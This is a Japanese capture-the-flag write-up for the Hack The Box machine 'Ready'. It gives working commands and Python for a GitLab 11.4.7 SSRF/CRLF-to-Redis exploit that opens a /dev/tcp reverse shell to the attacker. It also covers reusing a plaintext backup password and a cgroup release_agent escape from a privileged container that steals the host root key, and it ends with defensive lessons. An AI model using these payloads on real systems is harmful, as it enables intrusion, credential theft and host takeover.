Hack The BoxのWriteup(Ready)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Ready — 全実行コマンド・実行結果レポート
Nmap スキャン
22(SSH)/5080(GitLab)
→
GitLab CE 11.4.7 特定
/help でバージョン確認
→
SSRF+CRLF ペイロード構築
CVE-2018-19571 / CVE-2018-19585
→
project import_url 経由で送信
Redis inline command 注入
→
git シェル取得
user.txt ✓
→
/opt/backup/gitlab.rb
smtp_password 平文
→
su root(コンテナ内)
privileged: true 確認
→
cgroup release_agent
ホスト脱出
→
root.txt ✓

全ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.227.132
RESULT
Not shown: 53512 closed tcp ports (reset), 12021 filtered tcp ports (no-response)
PORT     STATE SERVICE
22/tcp   open  ssh
5080/tcp open  onscreen

Nmap done: 1 IP address (1 host up) scanned in 202.20 seconds

バージョン・スクリプトスキャン

BASH
nmap -sV -sC -p 22,5080 10.129.227.132
RESULT
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
5080/tcp open  http    nginx
|_http-trane-info: Problem with XML parsing of /evox/about
| http-robots.txt: 53 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile
| /dashboard /projects/new /groups/new /groups/*/edit /users /help
|_/s/ /snippets/new /snippets/*/edit
| http-title: Sign in · GitLab
|_Requested resource was http://10.129.227.132:5080/users/sign_in
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
🚨
重要発見: ポート 5080 に GitLab(サインインページ)が稼働している。 robots.txt に /projects/new が disallow entry として明記されており、後述の project import 機能を突く攻撃の入口になる。
PHASE 2

GitLab CE 列挙とバージョン特定

GitLabバージョンの確認

BASH
curl -s http://10.129.227.132:5080/help | grep -oE "GitLab Community Edition [0-9.]+"
RESULT
GitLab Community Edition 11.4.7
🚨
GitLab CE 11.4.7 は、project import 機能の URL に対する SSRF ブロックリストが 不完全であることを突く CVE-2018-19571(SSRF)と、リクエストボディの解析が緩いことを 突く CVE-2018-19585(CRLF インジェクション)を組み合わせて Redis へ直接コマンドを 注入できる、既知の重大な脆弱性を抱えたバージョン。

セルフレジスト(アカウント自己登録)

NOTE
GitLab はデフォルトでセルフサインアップが有効。/users/sign_in のHTMLから
authenticity_token(CSRFトークン)を抜き出し、/users へ登録フォームをPOSTする。
BASH
# 1) サインインページから authenticity_token を取得
curl -s -c cookies.txt http://10.129.227.132:5080/users/sign_in \
  | grep -oE 'name="authenticity_token" value="[^"]+"' | tail -1

# 2) 取得した token を使ってアカウント登録
curl -s -b cookies.txt -c cookies.txt -X POST http://10.129.227.132:5080/users \
  --data-urlencode "authenticity_token=<取得したtoken>" \
  --data-urlencode "new_user[name]=rdyuser01" \
  --data-urlencode "new_user[username]=rdyuser01" \
  --data-urlencode "new_user[email]=rdyuser01@gmail.htb" \
  --data-urlencode "new_user[email_confirmation]=rdyuser01@gmail.htb" \
  --data-urlencode "new_user[password]=RdyPass123!"
RESULT (登録フォームHTML抜粋)
<form class="new_new_user ..." action="/users" method="post">
<input type="hidden" name="authenticity_token" value="nwNCZCO97LMA4Jt2aZwOzjvIPXnivR6Odvl3BV2Bj8xwGmxwu5IKtwBJ9K49lvOzmHWK8r30Am5KiP9r6B3LiA==" />
<input type="text" name="new_user[name]" id="new_user_name" />
<input type="text" name="new_user[username]" id="new_user_username" />
<input type="email" name="new_user[email]" id="new_user_email" />
<input type="email" name="new_user[email_confirmation]" id="new_user_email_confirmation" />
<input type="password" name="new_user[password]" id="new_user_password" />
<input type="submit" name="commit" value="Register" ... />
</form>
✅
登録成功。以後このセッションクッキーでログイン済み状態を維持し、後続の project 作成 POST に利用する。

プロジェクト新規作成フォームの下調べ

BASH
curl -s -b cookies.txt http://10.129.227.132:5080/projects/new \
  | grep -oE 'name="authenticity_token" value="[^"]+"|name="project\[namespace_id\]"[^>]*value="[0-9]+"'
RESULT
authenticity_token="<このセッション用の新しいtoken>"
<input value="7" type="hidden" name="project[namespace_id]" ...>
ℹ️
/projects へのPOSTに必要な authenticity_token と project[namespace_id] (このユーザーの個人ネームスペースID)を取得しておく。GitLab 11.x のHTMLはこの属性順( value= が name= より先)である点に注意。
PHASE 3

CVE-2018-19571 (SSRF) + CVE-2018-19585 (CRLF) → Redis RCE ペイロード構築

脆弱性の仕組み

NOTE
GitLab の「プロジェクトを既存リポジトリからインポート」機能は、指定した import_url へ
サーバー自身が接続しにいく(git clone 相当)。本来 127.0.0.1 や内部ネットワークへの
接続はブロックリストで弾かれるはずだが、CVE-2018-19571 はこのブロックリストを
IPv4-mapped IPv6 表記で回避できる不備:

  git://[0:0:0:0:0:ffff:127.0.0.1]:6379/

この表記は文字列としては 127.0.0.1 を含まないため文字列マッチ型のブロックリストを
すり抜けるが、名前解決・接続時には実際に 127.0.0.1:6379(ローカルのRedis)へ接続する。

さらに CVE-2018-19585(CRLF injection)により、import_url フィールドに含めた
改行以降の文字列が「git://」プロトコルのハンドシェイクを終えた後、そのまま
生バイトとして Redis サーバーへ送信されてしまう。Redis の「インラインコマンド」
プロトコル(1行1コマンド、改行区切り)に従って複数コマンドを送り込めるため、
Redis 自体に対するコマンドインジェクションが成立する。

Sidekiq ジョブキューへの注入によるRCE化

NOTE
GitLab はバックグラウンドジョブ処理に Sidekiq を使い、そのキューを Redis 上に
「resque:gitlab:queue:<キュー名>」という List として保持している。
つまり Redis へ直接 LPUSH できれば、Sidekiq のワーカーに「ジョブが来た」と
誤認させて任意のジョブを実行させられる。

GitLab には GitlabShellWorker という内部ワーカーがあり、引数に Ruby コードを
渡すと class_eval で評価してしまう実装上の不備がある。これを悪用し、
"open('|<シェルコマンド> ').read" という Ruby の pipe-open構文を仕込むことで、
Sidekiq プロセス(git ユーザー権限)上で任意コマンドを実行できる。
PYTHON (Redisインラインコマンド ペイロード構築)
import base64

def build_redis_import_url(kali_ip: str, lport: int) -> str:
    reverse_cmd = f"bash -i >& /dev/tcp/{kali_ip}/{lport} 0>&1"
    # bad-char対策として base64 化してから /bin/bash に渡す
    b64 = base64.b64encode(reverse_cmd.encode()).decode()
    payload = f"echo {b64} | base64 -d | /bin/bash"

    return f"""git://[0:0:0:0:0:ffff:127.0.0.1]:6379/
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{{\\"class\\":\\"GitlabShellWorker\\",\\"args\\":[\\"class_eval\\",\\"open(\\'|{payload} \\').read\\"],\\"retry\\":3,\\"queue\\":\\"system_hook_push\\",\\"jid\\":\\"ad52abc5641173e217eb2e52\\",\\"created_at\\":1513714403.8122594,\\"enqueued_at\\":1513714403.8129568}}"
exec
exec
exec"""

import_url = build_redis_import_url("10.10.15.200", 4444)
⚠️
multi / sadd / lpush / exec はいずれも Redis の インラインコマンド。exec を複数回並べているのは、Rails 側のリクエストボディ解析に よって一部バイトが欠落した場合でもトランザクションを確実にコミットさせるための冗長化。 コマンド末尾のリバースシェルは base64エンコードして 引き渡すことで、 JSON文字列やRuby文字列リテラル内でクォート・改行・アンパサンドが壊れる問題を回避している。

重要ポイント: 改行はURLエンコードして送ってよい

NOTE
Redisコマンドを区切る \r\n は、クライアント(攻撃者)→GitLabサーバー間のHTTPリクエスト上では
ふつうに %0D%0A としてURLエンコードして送信してよい(curlの--data-urlencodeやPythonの
requestsライブラリのform-urlencodeで自動的にエンコードされる)。GitLab(Rails)側が
project[import_url] パラメータを受け取った時点で標準的にURLデコードするため、
デコード後の生の \r\n がそのまま import_url の値として保持される。
その後 GitLab が SSRF 先の Redis へ接続する際に、この生バイト列(\r\n区切り)を
そのまま流し込むため、こちら側では通常のHTTP POSTフォームエンコードのみで
攻撃が成立する(生ソケットでの手組みは必須ではない)。
PHASE 4

エクスプロイト実行 & user.txt 取得

リスナー起動

BASH
nc -lnvp 4444

悪性 import_url を含むプロジェクト作成POST

PYTHON (requestsで送信 — フォームエンコードのみでOK)
import requests

s = requests.Session()
s.cookies.update(cookies)  # Phase2で取得したログイン済みCookie

data = {
    "authenticity_token": token,               # Phase2-3で取得
    "project[import_url]": import_url,         # Phase3で構築したペイロード
    "project[ci_cd_only]": "false",
    "project[name]": "rdyPoc01",
    "project[path]": "rdyPoc01",
    "project[visibility_level]": "0",
    "project[description]": "poc",
}
r = s.post("http://10.129.227.132:5080/projects", data=data, timeout=20)
print(r.status_code)
RESULT (nc リスナー側)
listening on [any] 4444 ...
connect to [any] 4444 from (UNKNOWN) [10.129.227.132] 51848
bash: cannot set terminal process group (853): Inappropriate ioctl for device
bash: no job control in this shell
git@gitlab:~/gitlab-rails/working$ id
uid=998(git) gid=998(git) groups=998(git)
✅
RCE成功! GitLab の Sidekiq ワーカーが悪性ジョブを処理し、git ユーザーとして リバースシェルを確立した。

トラブルシューティング: シェルが返ってこない場合

NOTE
実機検証では、1回目・2回目の試行でリバースシェルが40秒以内に返ってこず
タイムアウトした(Sidekiqのジョブ処理タイミングやポーリング間隔に起因すると
見られる断続的な現象)。3回目の試行で成功。

対策:
  1. project[name] / project[path] は一度使うと同名では再作成できないため、
     リトライごとに乱数サフィックスを付けてユニークにする。
  2. 1回のPOSTで即座に反応がなくても、40〜60秒程度は気長にリスナーを
     待たせてから諦める(リトライ前提の設計にする)。
  3. fuser -k <port>/tcp で前回リスナーの残骸ポートを都度クリーンアップして
     から再度 nc -lnvp を起動する。
⚠️
本検証では実際に project=rdyzLiP3c0LeK(失敗)→ project=rdyXJpkYJzVBb(失敗)→ project=rdyLAQ1kwrbLS(成功)と3回目でようやく接続を確立した。単発の失敗で 「脆弱性が刺さっていない」と判断せず、プロジェクト名を変えて複数回リトライすることが重要。

TTY化 & user.txt 取得

BASH
python3 -c 'import pty; pty.spawn("/bin/bash")'
cat /home/dude/user.txt
RESULT
afcbd37e9c418e128878739619b42100
user.txt — /home/dude/user.txt (git経由で閲覧)
afcbd37e9c418e128878739619b42100
PHASE 5

権限昇格の下調べ — /opt/backup バックアップ資格情報の発見

/opt 配下の調査

BASH
ls -la /opt/backup/
cat /opt/backup/docker-compose.yml
RESULT
-rw-r--r-- 1 root root   872 docker-compose.yml
-rw-r--r-- 1 root root 15092 gitlab-secrets.json
-rw-r--r-- 1 root root 79639 gitlab.rb

services:
  web:
    image: 'gitlab/gitlab-ce:11.4.7-ce.0'
    ...
    privileged: true
    ...
🚨
重大発見: このGitLabコンテナは privileged: true で起動されている world-readable なバックアップ設定ファイル。特権コンテナはホストとほぼ同等の カーネル機能へアクセスできるため、後の コンテナ脱出 が可能になる。

gitlab.rb から平文パスワードを抽出

BASH
cat /opt/backup/gitlab.rb | grep -vE '^#|^$' | uniq -u
RESULT
gitlab_rails['smtp_password'] = "wW59U!ZKMbG9+*#h"
ℹ️
コメント行(#始まり)と空行を除外すると、コメントアウトされていない実設定値だけが 残る。この smtp_password は本来メール送信用だが、パスワード使い回しにより root のログインパスワードとしても有効だった。
PHASE 6

su root(コンテナ内)→ 特権Dockerコンテナ脱出 → root.txt

su root でコンテナ内rootを取得

BASH
su root
# Password: wW59U!ZKMbG9+*#h
id
cat /proc/1/cgroup | head -3
RESULT
root@gitlab:/var/opt/gitlab/gitlab-rails/working# id
uid=0(root) gid=0(root) groups=0(root)
root@gitlab:/# cat /proc/1/cgroup | head -3
12:perf_event:/docker/a4b61b1d50c277c638fdd83ff7609cc4029aeeef09d501f4f20e360bc859ccda
11:blkio:/docker/a4b61b1d50c277c638fdd83ff7609cc4029aeeef09d501f4f20e360bc859ccda
10:cpuset:/docker/a4b61b1d50c277c638fdd83ff7609cc4029aeeef09d501f4f20e360bc859ccda
⚠️
id は uid=0 を返すが、/proc/1/cgroup に /docker/<コンテナID> という文字列があることから、これは GitLabコンテナ内のroot であり、ホストのroot ではないことが分かる。Phase5で確認した privileged: true を利用してホストへ脱出する。

cgroup v1 release_agent を利用したホスト脱出

NOTE
特権コンテナでは cgroup のマウント・書き込みに制限がない。cgroup v1 の
release_agent は「そのcgroup内の全プロセスが終了した際に “ホスト側” のパスとして
実行されるスクリプト」を指定できる機能。これを悪用し、release_agent に
自作スクリプトのホスト側パスを登録 → 空のcgroupへプロセスを1つ登録して
即座に離脱させる → release_agentがホストのrootとして起動 → 任意コマンド実行、
という古典的なDockerコンテナ脱出テクニック。
BASH
mkdir -p /tmp/cgrp
mount -t cgroup -o rdma cgroup /tmp/cgrp   # rdmaは未使用のためロック無しで使える
mkdir -p /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release

# overlay2 の diff ディレクトリ = ホスト側から見たこのコンテナのファイルシステムパス
host_path=$(sed -n 's/.*perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent

# release_agent から呼ばれるスクリプト本体(ホストの root.txt / id_rsa を
# コンテナ内から見えるパスへコピーする)
cat > /cmd << 'EOF'
#!/bin/sh
cat /root/root.txt > $host_path/output
cat /root/.ssh/id_rsa > $host_path/root_id_rsa
EOF
chmod +x /cmd

# 空のcgroupへ現在のシェルのPIDを登録 → プロセス終了時にrelease_agentが発火
sh -c 'echo $$ > /tmp/cgrp/x/cgroup.procs'
sleep 2
cat /output
RESULT
root@gitlab:/# cat /output
8c0920b3f7a9cd558df735de70df4b93
root.txt — ホスト /root/root.txt(cgroup release_agent 経由で取得)
8c0920b3f7a9cd558df735de70df4b93
✅
コンテナ脱出成功! 同じ手法で /root/.ssh/id_rsa も root_id_rsa として取り出せる。これを使えばホストへ直接SSHログインでき、 以降は不安定なリバースシェルではなく安定した対話シェルで作業できる。

取得したホストroot鍵でSSHログイン(永続化)

BASH
cat /root_id_rsa
# -----BEGIN RSA PRIVATE KEY----- ... -----END RSA PRIVATE KEY-----
# ↑ をローカルに ready_root_id_rsa として保存

chmod 600 ready_root_id_rsa
ssh -i ready_root_id_rsa root@10.129.227.132
RESULT
Welcome to Ubuntu ...
root@ready:~# id
uid=0(root) gid=0(root) groups=0(root)
root@ready:~# cat /proc/1/cgroup | head -1
1:name=systemd:/init.scope        ← "/docker/..." ではない = 正真正銘ホストのroot
✅
/proc/1/cgroup の内容がコンテナ内とは異なり /init.scope になっている ことから、これは間違いなくホスト自体のrootであることが確認できる。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — /home/dude/user.txt
afcbd37e9c418e128878739619b42100
root.txt — /root/root.txt(ホスト)
8c0920b3f7a9cd558df735de70df4b93

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
CVE-2018-19571 GitLab CE/EE <= 11.4.7 (project import URL) SSRF(内部Redisへの到達) Critical IPv4-mapped IPv6表記 [0:0:0:0:0:ffff:127.0.0.1] でブロックリストを回避
CVE-2018-19585 GitLab CE/EE <= 11.4.7 (同上) CRLFインジェクション → Redisコマンド注入 Critical import_url内の改行がそのままRedisへ転送されインラインコマンドとして実行される
Sidekiqジョブ偽装RCE GitlabShellWorker (class_eval) リモートコード実行(gitユーザー) Critical Redisのジョブキューへ悪性ジョブをLPUSHしSidekiqに処理させる
バックアップ資格情報の平文保存 & パスワード使い回し /opt/backup/gitlab.rb 権限昇格(root) High world-readableなバックアップ内のsmtp_passwordがrootログインパスワードと同一
特権Dockerコンテナ + cgroup v1 release_agent GitLabコンテナ (privileged: true) コンテナエスケープ(ホストroot奪取) Critical release_agentにホスト側パスの自作スクリプトを登録しcgroup離脱で発火させる

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap 全ポート + バージョンスキャン22(SSH)/5080(GitLab CE)を検出
2GitLab列挙/help でバージョン特定、セルフレジストGitLab CE 11.4.7、ログイン済みセッション
3ペイロード構築SSRF(IPv4-mapped IPv6) + CRLF + Redisインラインコマンドproject[import_url] 悪性ペイロード
4エクスプロイトproject作成POST → Sidekiq経由RCEuser.txt 取得(gitシェル)
5資格情報調査/opt/backup/gitlab.rb 解析root ログインパスワード(smtp_password流用)
6コンテナ脱出su root + cgroup release_agentroot.txt + ホストroot SSH鍵 取得

学んだ教訓 & 防御策

問題点防御策
GitLab CE 11.4.7 に既知のSSRF+CRLF脆弱性(CVE-2018-19571 / CVE-2018-19585)が未パッチ GitLabを常に最新のセキュリティパッチ適用済みバージョンへ更新する。project importのSSRF対策はIPアドレス文字列マッチではなく実際に解決されたアドレスをチェックする設計にする。
セルフサインアップが無条件に有効で、未認証の第三者が任意にアカウント作成できる 本番運用では管理者承認制サインアップ、またはSSO/招待制に切り替える。
バックアップ設定ファイル(gitlab.rb)がworld-readableで平文パスワードを含む バックアップファイルのパーミッションをroot専用に制限し、秘密情報はVaultなど専用のシークレット管理に分離する。
サービスアカウントのパスワードとホストrootのパスワードが同一(使い回し) 用途ごとに異なる強固なパスワードを発行し、パスワードマネージャ・ローテーションポリシーを導入する。
アプリケーションコンテナが privileged: true で不必要に起動されている 特権フラグは真に必要な場合のみ使用し、代わりに個別のcapability付与(--cap-add)やrootlessコンテナ・gVisor等のサンドボックスを検討する。cgroup v1のrelease_agent悪用はcgroup namespace分離やcgroup v2への移行で緩和できる。
HackTheBox: Ready | 完全攻略レポート